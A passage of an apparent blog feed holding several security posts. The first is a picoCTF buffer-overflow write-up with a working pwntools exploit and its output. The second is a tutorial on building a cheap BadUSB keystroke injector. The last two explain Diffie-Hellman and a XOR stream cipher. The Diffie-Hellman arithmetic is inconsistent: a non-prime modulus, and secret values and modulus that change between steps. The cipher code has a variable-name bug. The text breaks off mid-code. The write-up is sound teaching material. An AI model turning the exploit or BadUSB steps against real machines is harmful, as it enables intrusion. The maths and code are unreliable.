<pre><code>┌──(kali㉿arch-desktop)-[<span class="hljs-regexp">/media/</span>…/Shared File/Pico CTF/<span class="hljs-number">2022</span>/Buffer Overflow <span class="hljs-number">1</span>]
└─$ python3 -c <span class="hljs-string">'print("A"*44+"BBBB")'</span> | ./vuln
Please enter your string: 
Okay, time to <span class="hljs-keyword">return</span>... Fingers Crossed... Jumping to <span class="hljs-number">0x42424242</span>
<span class="hljs-attr">zsh</span>: done                python3 -c <span class="hljs-string">'print("A"*44+"BBBB")'</span> | 
zsh: segmentation fault  ./vuln
</code></pre><p>We know that we've found the offset as the return address is just the hex values for "B".</p>
<h3 id="heading-finding-the-win-functions-address">Finding the win() functions address</h3>
<p>We can find the win functions address by using <code>readelf -s vuln</code>.</p>
<pre><code>┌──(kali㉿arch-desktop)-[<span class="hljs-regexp">/media/</span>…/Shared File/Pico CTF/<span class="hljs-number">2022</span>/Buffer Overflow <span class="hljs-number">1</span>]
└─$ readelf -s vuln | grep <span class="hljs-string">"win"</span> 

    <span class="hljs-number">63</span>: <span class="hljs-number">080491</span>f6   <span class="hljs-number">139</span> FUNC    GLOBAL DEFAULT   <span class="hljs-number">13</span> win
</code></pre><h3 id="heading-testing">Testing</h3>
<p>Now that we know the offset and the address of the win() function's address, we can now 
craft an exploit. The easiest way to craft this exploit is with Python and the <a target="_blank" href="https://docs.pwntools.com/en/stable/">python pwntool module</a>. We can not manually input strings into the  console as there will be weird hex bytes that just don't work. </p>
<pre><code>#!<span class="hljs-regexp">/usr/</span>bin/env python3
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

elf = ELF(<span class="hljs-string">'./vuln'</span>, checksec=False)    

p = process(elf.path)

payload = b<span class="hljs-string">"A"</span>*<span class="hljs-number">44</span> + p32(<span class="hljs-number">0x80491f6</span>)  # p32() will translate the address into little endian

p = process(elf.path)
p.sendline(payload)
p.interactive()    # receives flag
</code></pre><p>This is the output we get when we run the code:</p>
<pre><code>[x] Starting local process <span class="hljs-string">'/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'</span>
[+] Starting local process <span class="hljs-string">'/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'</span>: pid <span class="hljs-number">5212</span>
[x] Starting local process <span class="hljs-string">'/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'</span>
[+] Starting local process <span class="hljs-string">'/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'</span>: pid <span class="hljs-number">5213</span>
[*] Switching to interactive mode
[*] Process <span class="hljs-string">'/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'</span> stopped <span class="hljs-keyword">with</span> exit code <span class="hljs-number">-11</span> (SIGSEGV) (pid <span class="hljs-number">5213</span>)
Please enter your string: 
Okay, time to <span class="hljs-keyword">return</span>... Fingers Crossed... Jumping to <span class="hljs-number">0x80491f6</span>
picoctf{colej.net}
[*] Got EOF <span class="hljs-keyword">while</span> reading <span class="hljs-keyword">in</span> interactive
</code></pre><p>As we can see, we get the dummy flag from our local machine.</p>
<h2 id="heading-getting-the-flag">Getting the flag</h2>
<p>Now we need to figure out how to send data to picoCTF. This is when the magic of pwn-tools comes in handy. All you have to do is replace <code>process(elf.path)</code> with <code>remote(host, port)</code>. This is the final exploit.</p>
<pre><code>#!<span class="hljs-regexp">/usr/</span>bin/env python3
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

beRemote = True

elf = context.binary = ELF(<span class="hljs-string">'./vuln'</span>, checksec=False) 
host, port = <span class="hljs-string">'saturn.picoctf.net'</span>, [PORT]

p = process(elf.path)# references the elf object

payload = b<span class="hljs-string">"A"</span>*<span class="hljs-number">44</span> + p32(<span class="hljs-number">0x80491f6</span>)  # p32() will translate the address into little endian

<span class="hljs-keyword">if</span> beRemote:    
    p = remote(host, port)
<span class="hljs-attr">else</span>:
    p = process(elf.path)

p.sendline(payload)
p.interactive()    # receives flag
</code></pre><p>This is the output we get when we run the code:</p>
<pre><code>[x] Starting local process <span class="hljs-string">'/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'</span>
[+] Starting local process <span class="hljs-string">'/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'</span>: pid <span class="hljs-number">5490</span>
[x] Opening connection to saturn.picoctf.net on port <span class="hljs-number">63511</span>
[x] Opening connection to saturn.picoctf.net on port <span class="hljs-number">63511</span>: Trying <span class="hljs-number">18.217</span><span class="hljs-number">.86</span><span class="hljs-number">.78</span>
[+] Opening connection to saturn.picoctf.net on port <span class="hljs-number">63511</span>: Done
[*] Switching to interactive mode
Please enter your string: 
Okay, time to <span class="hljs-keyword">return</span>... Fingers Crossed... Jumping to <span class="hljs-number">0x80491f6</span>
picoCTF{addr3ss3s_ar3_3asy_[REDACTED]}
[*] Got EOF <span class="hljs-keyword">while</span> reading <span class="hljs-keyword">in</span> interactive
</code></pre><p>As you can see here we got the flag!</p>
<h2 id="heading-finishing-notes">Finishing notes</h2>
<p>I hope you enjoyed this write-up for buffer-overflow 1 for picoCTF. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter at @dingo418. </p>
<h2 id="heading-other-good-writeups">Other good writeups</h2>
<p><a target="_blank" href="https://www.youtube.com/watch?v=k4hqdVo3cqk">32-bit x86 LINUX BUFFER OVERFLOW (PicoCTF 2022 #31 'buffer-overflow1')</a> by John Hamond</p>
<p><a target="_blank" href="https://enscribe.dev/ctfs/pico22/pwn/buffer-overflow-series/">pico22/pwn: Buffer overflow series</a></p>
]]></content:encoded></item><item><title><![CDATA[Making a $2 BadUSB (USB Rubber Ducky)]]></title><description><![CDATA[What is a BadUSB?
A BadUSB is a USB device that acts as a keyboard and injects preprogrammed keystrokes into a computer. A BadUSB is Indistinguishable from a generic keyboard, making it near impossible to detect and patch. You can setup reverse shell...]]></description><link>https://colej.net/making-a-2-badusb-usb-rubber-ducky</link><guid isPermaLink="true">https://colej.net/making-a-2-badusb-usb-rubber-ducky</guid><category><![CDATA[BadUSB]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[arduino]]></category><category><![CDATA[cool]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Sat, 17 Sep 2022 08:58:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1659330856593/LqhEdSf8R.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-a-badusb">What is a BadUSB?</h2>
<p>A BadUSB is a USB device that acts as a keyboard and injects preprogrammed keystrokes into a computer. A BadUSB is Indistinguishable from a generic keyboard, making it near impossible to detect and patch. You can setup reverse shells, change the desktop background or change settings. The opportunities are limitless. </p>
<h2 id="heading-what-do-you-need">What do you need?</h2>
<p>Depending on where you get a BadUSB from; you can expect a range of prices between $2 to $45.</p>
<p>The Hak5 USB Rubber Ducky costs around $45.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659330336191/cNLNKbEj0.png" alt="image.png" /></p>
<p>Where are ATMEGA32U4 cost around $30 from Amazon.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659331323067/Rs7jP2K4K.png" alt="image.png" />
If you get an ATTINY85 Arduino board you can expect around $2-10. This board is the one I recommend for beginners. You can get it anywhere from platforms like eBay, Alibaba or AliExpress. One thing to note about this board is that it has a 5-second delay before inputting keystrokes. This is due to it checking if it needs to be written to.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659330178553/Pizub-EdR.png" alt="image.png" /></p>
<p>This tutorial is for an ATTINY85. This is due to its cheapness and availability. You will need the following:</p>
<ol>
<li>Arduino ATTINY85 </li>
<li>Arduino IDE</li>
<li>20 minutes of free time</li>
</ol>
<h2 id="heading-tutorial">Tutorial</h2>
<h3 id="heading-1-install-the-arduino-ide">1. Install the Arduino IDE</h3>
<p>Download and install the <a target="_blank" href="https://www.arduino.cc/en/software">Arduino IDE</a>.</p>
<h3 id="heading-2-install-the-digispark-drivers">2. Install the Digispark drivers</h3>
<p>You are required to download <a target="_blank" href="https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip">Digispark drivers</a> if your Arduino version is Arduino 1.6.6 or higher.</p>
<p>Unzip and install the file DPInst64.exe</p>
<h3 id="heading-3-add-the-digispark-board-support-package">3. Add the Digispark Board Support Package</h3>
<p>Open up the Arduino IDE</p>
<p>Open up Files ---&gt; Preferences</p>
<p>Add the below text to the "Additional Boards Managers URLs:"</p>
<pre><code><span class="hljs-attribute">http</span>:<span class="hljs-comment">//digistump.com/package_digistump_index.json</span>
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662588867084/y3EcWtDMW.png" alt="image.png" /></p>
<h3 id="heading-4-add-the-digispark-board">4. Add the Digispark Board</h3>
<p>Open up Tools ---&gt; Board ---&gt; Board Manager</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662588723692/7jCI9x---.png" alt="image.png" /></p>
<p>Search up Digispark and click on the install button.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662588767771/gTQmG5lLA.png" alt="image.png" /></p>
<h3 id="heading-5-create-scripts">5. Create scripts</h3>
<p>If you don't want to create any of your own scripts, their is a whole github reposistory dedicated to premade scripts. You can find it <a target="_blank" href="https://cedarctic.github.io/digiQuack/">here</a>. </p>
<p>If you want to create an scripts, I recommend using Ducky Script and then converting it to Arduino code using d4n5h's Ducky to Arduino <a target="_blank" href="https://d4n5h.github.io/Duckuino/">converter</a>. It is far simpler then writing it directly in Arduino code. You can find the syntax of Ducky script here.</p>
<p>Below is an example of converting Ducky Script to Arduino code.</p>
<p>Note: There is a problem with the converter where <code>DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT, KEY_R);</code> should be <code>DigiKeyboard.sendKeyStroke(MOD_GUI_LEFT, KEY_R)</code></p>
<h3 id="heading-6-upload-your-script">6. Upload your script</h3>
<p>Click on the upload button.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662590767233/dC6G2l5UV.png" alt="image.png" />
When the console says "plug in the device now", insert your ATTINY85 into your USB port.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662591129655/El9XCiMvK.png" alt="image.png" /></p>
<h2 id="heading-ending-notes">Ending Notes</h2>
<p>I hope you enjoyed this article about the ATTINY85. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter at @dingo418.</p>
<h2 id="heading-sources">Sources</h2>
<p><a target="_blank" href="https://www.youtube.com/watch?v=fGmGBa-4cYQ&amp;ab_channel=Seytonic">$1 BadUSB - DigiSpark Drive By HID Tutorial</a></p>
<p><a target="_blank" href="https://null-byte.wonderhowto.com/how-to/run-usb-rubber-ducky-scripts-super-inexpensive-digispark-board-0198484/">Run USB Rubber Ducky Scripts on a Super Inexpensive Digispark Board</a></p>
]]></content:encoded></item><item><title><![CDATA[What is the Diffie–Hellman key exchange?]]></title><description><![CDATA[The Diffie-Hellman key exchange is a private-public key (asymmetrical) encryption used to establish a shared secret key. When using a symmetrical encryption, such as DES, you face a major problem. How do you share the key without leaking it to unwant...]]></description><link>https://colej.net/what-is-the-diffiehellman-key-exchange</link><guid isPermaLink="true">https://colej.net/what-is-the-diffiehellman-key-exchange</guid><category><![CDATA[encryption]]></category><category><![CDATA[basics]]></category><category><![CDATA[Security]]></category><category><![CDATA[internet]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Sun, 28 Aug 2022 22:54:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/zFy6fOPZEu0/upload/v1661727412685/R_z4UpTuE.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The Diffie-Hellman key exchange is a private-public key (asymmetrical) encryption used to establish a shared secret key. When using a <a target="_blank" href="https://colej.net/what-is-symmetric-encryption">symmetrical encryption</a>, such as DES, you face a major problem. How do you share the key without leaking it to unwanted parties? You would have to send it threw a secure line but can any line truly be secure? This is when the Diffie-Hellman key exchange solves this problem. It allows two parties to securely establish a key on an insecure line of communication.</p>
<p>The Diffie-Hellman key exchange was created in the 70s by Whitfield Diffie and Martin e. Hellman in <a target="_blank" href="https://ee.stanford.edu/%7Ehellman/publications/24.pdf">this</a> landmark paper. 
It was the first known public-private key cryptography known to the public. RSA was created before the Diffie-Hellman key exchange between 1969 and 1973 by James Ellis, Clifford Cox and Malcolm Williamson but it was classified by Government Communication Headquarters (GCHQ), a UK intelligence agency. Now, the Diffie-Hellman key exchange is so successful it was even used to connect to this website.</p>
<h2 id="heading-how-does-the-diffie-hellman-key-exchange-work">How does the Diffie-Hellman key exchange work?</h2>
<p>The Diffie-Hellman key exchange uses a lot of math, so let's start by using colour.</p>
<p><a target="_blank" href="https://doubleoctopus.com/security-wiki/encryption-and-cryptography/diffie-hellman-algorithm/#:~:text=Diffie%20Hellman%20(DH)%20key%20exchange,Whitfield%20Diffie%20and%20Martin%20Hellman."><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661493619376/RXLoA_NXC.png" alt="image.png" /></a>
Credit: <a target="_blank" href="https://doubleoctopus.com/security-wiki/encryption-and-cryptography/diffie-hellman-algorithm/#:~:text=Diffie%20Hellman%20(DH)%20key%20exchange,Whitfield%20Diffie%20and%20Martin%20Hellman.">What is the Diffie–Hellman key exchange and how does it work?</a>, Josh Lake</p>
<p>Alice and Bob both <strong>decide on a predetermined common paint</strong>. In this case, it is yellow. They each choose an <strong>additional secret colour that they don't show anyone else</strong>. Alice chooses red and Bob chooses green. </p>
<p>Now they mix the <strong>predetermined common paint and their secret colour</strong>. in this case, the <strong>predetermined common paint colour is yellow</strong>. Alice will mix yellow and red which will produce a light orange. Bob will mix yellow and green which will produce a light blue.</p>
<p><strong>Bob and Alice now share their mixed colours to each other</strong>. Alice will share her colour of light orange to Bob. Bob will share his mixed colour of light blue to Alice.</p>
<p>Finally, <strong>you mix the other person's shared colour and your own secret colour</strong>. Both Alice and Bob will have the remaining colour brown. The important part of this exchange is that the <strong>colour brown is only known to Alice and Bob</strong>. In the Diffie–Hellman key exchange the colour brown would be your secret key. You could use this key for algorithms such as DES or AES. Before looking into the mathematical concept, you need a clear understanding of the above concept.</p>
<h3 id="heading-how-diffie-hellman-key-exchange-works-mathematically">How Diffie-Hellman key exchange works mathematically.</h3>
<p>I will be explaining the most basic mathematical version of the key exchange in this section. </p>
<p>Before getting started with the Diffie-Hellman key exchange. We must first publicly decide on two numbers that will be publicly known. We need a prime (p) number and a base (g). The base (g) can be any number smaller than the p. In this case p = 14 and g = 6.</p>
<p>Now, Alice and Bob have to decide on a secret individual number that only they will know. In this case, Alice will choose 6 while Bob will choose 4.</p>
<pre><code><span class="hljs-attr">a</span>=<span class="hljs-number">6</span>
<span class="hljs-attr">b</span>=<span class="hljs-number">4</span>
</code></pre><p>We then must put these numbers threw a one-way function. This means that it is easy to calculate but incredibly hard to reverse. One way functions use modulus arithmetic. If you do not know what modulus arithmetic is <a target="_blank" href="https://www.computerhope.com/jargon/m/modulo.htm">Computer Hope</a> has a good explanation but essentially it is the remainder division we did as kids. Modulus just takes the remainder, so 11 mod 4 = 3. </p>
<p>Alice will get A by using this one way function<code>A = g&lt;sup&gt;a&lt;/sup&gt; mod p</code> .</p>
<pre><code>A <span class="hljs-operator">=</span> g<span class="hljs-operator">&lt;</span>sup<span class="hljs-operator">&gt;</span>a<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>sup<span class="hljs-operator">&gt;</span> mod p
A <span class="hljs-operator">=</span> <span class="hljs-number">6</span><span class="hljs-operator">&lt;</span>sup<span class="hljs-operator">&gt;</span><span class="hljs-number">5</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>sup<span class="hljs-operator">&gt;</span> mod <span class="hljs-number">14</span>
A <span class="hljs-operator">=</span> <span class="hljs-number">7776</span> mod <span class="hljs-number">14</span>
A <span class="hljs-operator">=</span> <span class="hljs-number">5</span>
</code></pre><p>Bob will get B by using this one way function <code>B = g&lt;sup&gt;b&lt;/sup&gt; mod p</code>.</p>
<pre><code>B <span class="hljs-operator">=</span> g<span class="hljs-operator">&lt;</span>sup<span class="hljs-operator">&gt;</span>b<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>sup<span class="hljs-operator">&gt;</span> mod p
B <span class="hljs-operator">=</span> <span class="hljs-number">7</span><span class="hljs-operator">&lt;</span>sup<span class="hljs-operator">&gt;</span><span class="hljs-number">4</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>sup<span class="hljs-operator">&gt;</span> mod <span class="hljs-number">14</span>
B <span class="hljs-operator">=</span> <span class="hljs-number">2401</span> mod <span class="hljs-number">14</span>
B <span class="hljs-operator">=</span> <span class="hljs-number">6</span>
</code></pre><p>Alice will now send her number A to Bob and Bob will send his number B to Alice. <strong>A and B will be publicly known.</strong> Now both parties will be able to calculate their shared secret. </p>
<p>Alice will calculate the secret by using the formula <code>s = B&lt;sup&gt;a&lt;/sup&gt; mod p</code>.</p>
<pre><code>s <span class="hljs-operator">=</span> A<span class="hljs-operator">&lt;</span>sup<span class="hljs-operator">&gt;</span>b<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>sup<span class="hljs-operator">&gt;</span> mod p
s <span class="hljs-operator">=</span> <span class="hljs-number">5</span><span class="hljs-operator">&lt;</span>sup<span class="hljs-operator">&gt;</span><span class="hljs-number">7</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>sup<span class="hljs-operator">&gt;</span> mod <span class="hljs-number">14</span>
s <span class="hljs-operator">=</span> <span class="hljs-number">78</span>,<span class="hljs-number">125</span>  mod <span class="hljs-number">17</span>
s <span class="hljs-operator">=</span> <span class="hljs-number">5</span>
</code></pre><p>Bob will similarly calculate the secret. He will use <code>s = A&lt;sup&gt;b&lt;/sup&gt; mod p</code>.</p>
<pre><code>s <span class="hljs-operator">=</span> B<span class="hljs-operator">&lt;</span>sup<span class="hljs-operator">&gt;</span>a<span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>sup<span class="hljs-operator">&gt;</span> mod p<span class="hljs-operator">|</span>
s <span class="hljs-operator">=</span> <span class="hljs-number">6</span><span class="hljs-operator">&lt;</span>sup<span class="hljs-operator">&gt;</span><span class="hljs-number">5</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">/</span>sup<span class="hljs-operator">&gt;</span> mod <span class="hljs-number">14</span><span class="hljs-operator">|</span>
s <span class="hljs-operator">=</span> <span class="hljs-number">7776</span> mod <span class="hljs-number">17</span><span class="hljs-operator">|</span>
s <span class="hljs-operator">=</span> <span class="hljs-number">5</span>
</code></pre><p>Now they both have the shared secret of <code>s = 5</code>. Any would-be attacker that intercepted the shared would struggle to figure out s using the available information of A, B, g and p.</p>
<p>Below is a table that outlines the whole process.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Alice</td><td>Shared</td><td>Bob</td></tr>
</thead>
<tbody>
<tr>
<td>a=5</td><td>p=14, g=6</td><td>b=7</td></tr>
<tr>
<td>A = g<sup>a</sup> mod p</td><td></td><td>B = g<sup>b</sup> mod p</td></tr>
<tr>
<td>A = 6<sup>5</sup> mod 14</td><td></td><td>B = 7<sup>4</sup> mod 14</td></tr>
<tr>
<td>A = 7776 mod 14</td><td></td><td>B = 2401 mod 14</td></tr>
<tr>
<td>A = 5</td><td></td><td>B = 6</td></tr>
<tr>
<td></td><td>A=5, B=6</td><td></td></tr>
<tr>
<td>s = B<sup>a</sup> mod p</td><td></td><td>s = A<sup>b</sup> mod p</td></tr>
<tr>
<td>s = 6<sup>5</sup> mod 14</td><td></td><td>s = 5<sup>7</sup> mod 14</td></tr>
<tr>
<td>s = 7776 mod 17</td><td></td><td>s = 78,125  mod 17</td></tr>
<tr>
<td>s = 5</td><td></td><td>s = 5</td></tr>
</tbody>
</table>
</div><p>This is a very weak version of the Diffie-Hellman key exchange as we are using a very small number. Prime (p) should at the very least be 2048 bits long. It also suffers from a lack of authentication, meaning anyone could be Bob.</p>
<p>Below is an example of a 2048-bit long number. </p>
<pre><code><span class="hljs-comment"># a 2048-bit long number</span>
<span class="hljs-number">1994641991657874238432584134916742769831626498728552748641213829416447744326318497317853615112452218299162248281941591219232629183284639871598555636789761746149615517811395589398861114178718851749455442924736594729825457397846951983358839924883789411234344</span>
</code></pre><h2 id="heading-ending-notes">Ending Notes</h2>
<p>If you are still interested and want to know more <a target="_blank" href="https://www.comparitech.com/blog/information-security/diffie-hellman-key-exchange/">comparitech</a> has a really good article.</p>
<p>I hope you enjoyed this article about the Diffie-Hellman exchange. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter at @dingo418.</p>
<h2 id="heading-sources">Sources</h2>
<p><a target="_blank" href="https://www.comparitech.com/blog/information-security/diffie-hellman-key-exchange/">What is the Diffie–Hellman key exchange and how does it work?</a></p>
<p><a target="_blank" href="https://doubleoctopus.com/security-wiki/encryption-and-cryptography/diffie-hellman-algorithm">Diffie Hellman Algorithm
</a></p>
]]></content:encoded></item><item><title><![CDATA[What is Symmetric Encryption?]]></title><description><![CDATA[What is Symmetric Encryption?
Symmetric encryption is a type of encryption that uses a singular key for both decrypting and encrypting text. This is different compared to asymmetric encryption which requires a public and private key. If two entities ...]]></description><link>https://colej.net/what-is-symmetric-encryption</link><guid isPermaLink="true">https://colej.net/what-is-symmetric-encryption</guid><category><![CDATA[Python]]></category><category><![CDATA[encryption]]></category><category><![CDATA[beginner]]></category><category><![CDATA[Security]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Fri, 29 Jul 2022 12:48:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/FnA5pAzqhMM/upload/v1659097056075/mEJxTWX92.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-symmetric-encryption">What is Symmetric Encryption?</h2>
<p>Symmetric encryption is a type of encryption that uses a singular key for both decrypting and encrypting text. This is different compared to asymmetric encryption which requires a public and private key. If two entities want to safely communicate via symmetric encryption, they must safely exchange the key. This is easier said than done, and there is a variety of ways to do this. Some examples would be the Diffie–Hellman key exchange or threw Asymmetric encryption. Sadly, this is out of scope for this article.</p>
<h2 id="heading-types-of-encryption">Types of Encryption</h2>
<p>Symmetric Algorithms fall into two main categories: Block and Stream Ciphers.</p>
<h3 id="heading-block-ciphers">Block Ciphers</h3>
<p>Block Ciphers encrypt plaintext by splitting text up into blocks of data (usually 64, 128 or 256 bits). Each of these blocks is processed by several mathematical functions. These blocks can be chained together to provide stronger encryption. Block Ciphers will return a ciphertext that is the same length as the plaintext. If the block of data is smaller than the desired block size, then it will be padded with null data, generally 0's, to reach the desired block size. To decrypt a Block Cipher the inverse functions of the function that encrypted the ciphertext must be used. Block Ciphers are far more secure than Stream Ciphers. They are also far more complicated than Stream Ciphers.</p>
<p><a target="_blank" href="https://www.tutorialspoint.com/cryptography/block_cipher.htm"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1659097811572/hIFj1WPVN.png" alt="image.png" /></a>
Credit: Tutorialspoint, Block Cipher </p>
<p>Positives:</p>
<ul>
<li>Very Secure</li>
<li>Reverse engineering is harder</li>
<li>Easy to make tweaks to the algorithm </li>
</ul>
<p>Negatives:</p>
<ul>
<li>Relatively Slow</li>
<li>Longer keys</li>
</ul>
<h3 id="heading-stream-ciphers">Stream Ciphers:</h3>
<p>Stream Ciphers encrypt the plaintext one byte at a time. This algorithm supports any key size. The key size greatly affects the security of the encryption. Compared to Block Ciphers, Steam ciphers are relatively simple and fast. Common Stream algorithms used are Salsa20, RC4, CSS and one-time-pads. Most of these encryption methods have been found to have multiple vulnerabilities which render them insecure. This is why you will not see Stream Ciphers used in modern software.</p>
<p>Although Stream Ciphers have a lot of vulnerabilities, they have the mathematically strongest algorithm. It is called a 'one-time pad', where you generate a random key with the same length as the message and only use it <strong>once</strong>. Although, this is impractical and inefficient in general use. </p>
<p>Positives:</p>
<ul>
<li>Fast</li>
<li>Any size key</li>
<li>Simple to understand</li>
</ul>
<p>Negatives:</p>
<ul>
<li>Very insecure</li>
</ul>
<p>Below is an example of a stream cipher using the XOR operation
<a target="_blank" href="https://www.geeksforgeeks.org/difference-between-block-cipher-and-stream-cipher/"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1658484682323/zB_ouYoj8.png" alt="image.png" /></a>
Credit: Geeks for Geeks, Difference between Block Cipher and Stream Cipher</p>
<h2 id="heading-stream-cipher-example-in-python">Stream Cipher Example in Python</h2>
<p>Below will be an explanation of the key parts of the code. <strong>This is not a secure implementation of a stream cipher</strong>. This is a simple implementation of a stream cipher. If you want to see a more secure implementation, see <a target="_blank" href="https://github.com/manojpandey/rc4">RC4 in Python</a>.</p>
<h3 id="heading-encryption"><strong>Encryption</strong></h3>
<p>The code below goes through the given variable <code>text</code> one character at a time. Using the <code>ord()</code> function we get the integer representation of the letter and the "keyling". The "keyling" is the corresponding character from the key. An easy way to encrypt a character is using the XOR function. This is represented in python by the <code>^</code> character. The ciphertext would then be converted back into a Unicode character by the <code>chr()</code> function. This would then be added to the ciphertexts variable. After encrypting the given text, it will write it to <code>ciphertext.txt</code>. This is done as some Unicode characters act weird when copied.</p>
<pre><code>def encrypt(text, key):
    ciphertexts = ""
    <span class="hljs-keyword">with</span> <span class="hljs-keyword">open</span>(<span class="hljs-string">"ciphertext.txt"</span>, <span class="hljs-string">"w"</span>) <span class="hljs-keyword">as</span> f:
        <span class="hljs-keyword">for</span> <span class="hljs-keyword">num</span>,letter <span class="hljs-keyword">in</span> enumerate(<span class="hljs-built_in">text</span>):
            <span class="hljs-comment"># Acessing 1 byte from the key. It repeats if the key is shorter</span>
            keyling = <span class="hljs-keyword">key</span>[<span class="hljs-keyword">num</span> % <span class="hljs-keyword">len</span>(<span class="hljs-keyword">key</span>)]
            <span class="hljs-comment"># Uses the XOR operation to encrypt it. ^ is XOR</span>
            ciphertexts += <span class="hljs-keyword">chr</span>(<span class="hljs-keyword">ord</span>(letter) ^ <span class="hljs-keyword">ord</span>(keyling))
        <span class="hljs-comment"># Has to be written to a file. Clipboard does not work</span>
        f.write(ciphertext)
</code></pre><h3 id="heading-decryption"><strong>Decryption</strong></h3>
<p>Below is the decryption part of the code. It goes through the text file one character at a time. Using the <code>ord()</code> function we get the integer representation of that letter and the keyling. To reverse the encryption we must know the inverse calculation of XOR. The inverse calculation of an XOR is an XOR. Each character is encrypted with the "keyling" using the XOR function. It is then finally added to the plaintext variable.</p>
<pre><code>def decrypt(key):
    plaintext = ""
    <span class="hljs-keyword">with</span> <span class="hljs-keyword">open</span>(<span class="hljs-string">"ciphertext.txt"</span>, <span class="hljs-string">"r"</span>) <span class="hljs-keyword">as</span> f:
        <span class="hljs-keyword">for</span> <span class="hljs-keyword">num</span>,letter <span class="hljs-keyword">in</span> enumerate(f.read()):
            <span class="hljs-comment"># Acessing 1 byte from the key. It repeats if the key is shorter then the text</span>
            keyling = <span class="hljs-keyword">key</span>[<span class="hljs-keyword">num</span> % <span class="hljs-keyword">len</span>(<span class="hljs-keyword">key</span>)]
            <span class="hljs-comment"># The inverse of XOR is XOR. ^ is XOR</span>
            plaintext += <span class="hljs-keyword">chr</span>(<span class="hljs-keyword">ord</span>(letter) ^ <span class="hljs-keyword">ord</span>(keyling))
        <span class="hljs-keyword">return</span> plaintext
</code></pre><h3 id="heading-the-full-code"><strong>The Full Code</strong></h3>
<p>Below contains a basic user interface to decrypt or encrypt using a Stream Cipher implementation.</p>
<pre><code>def decrypt(key):
    plaintext = ""
    <span class="hljs-keyword">with</span> <span class="hljs-keyword">open</span>(<span class="hljs-string">"ciphertext.txt"</span>, <span class="hljs-string">"r"</span>) <span class="hljs-keyword">as</span> f:
        <span class="hljs-keyword">for</span> <span class="hljs-keyword">num</span>,letter <span class="hljs-keyword">in</span> enumerate(f.read()):
            <span class="hljs-comment"># Acessing 1 byte from the key. It repeats if the key is shorter</span>
            keyling = <span class="hljs-keyword">key</span>[<span class="hljs-keyword">num</span> % <span class="hljs-keyword">len</span>(<span class="hljs-keyword">key</span>)]
            <span class="hljs-comment"># The inverse of XOR is XOR. ^ is XOR</span>
            plaintext += <span class="hljs-keyword">chr</span>(<span class="hljs-keyword">ord</span>(letter) ^ <span class="hljs-keyword">ord</span>(keyling))
        <span class="hljs-keyword">return</span> plaintext
<span class="hljs-keyword">def</span> <span class="hljs-keyword">encrypt</span>(<span class="hljs-built_in">text</span>, <span class="hljs-keyword">key</span>):
    ciphertext = <span class="hljs-string">""</span>
    <span class="hljs-keyword">with</span> <span class="hljs-keyword">open</span>(<span class="hljs-string">"ciphertext.txt"</span>, <span class="hljs-string">"w"</span>) <span class="hljs-keyword">as</span> f:
        <span class="hljs-keyword">for</span> <span class="hljs-keyword">num</span>,letter <span class="hljs-keyword">in</span> enumerate(<span class="hljs-built_in">text</span>):
            <span class="hljs-comment"># Acessing 1 byte from the key. It repeats if the key is shorter</span>
            keyling = <span class="hljs-keyword">key</span>[<span class="hljs-keyword">num</span> % <span class="hljs-keyword">len</span>(<span class="hljs-keyword">key</span>)]
            <span class="hljs-comment"># Uses the XOR operation to encrypt it. ^ is XOR</span>
            ciphertexts += <span class="hljs-keyword">chr</span>(<span class="hljs-keyword">ord</span>(letter) ^ <span class="hljs-keyword">ord</span>(keyling))
        <span class="hljs-comment"># Has to be written to a file. Clipboard does not work</span>
        f.write(ciphertexts)


<span class="hljs-keyword">def</span> <span class="hljs-keyword">main</span>():
    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
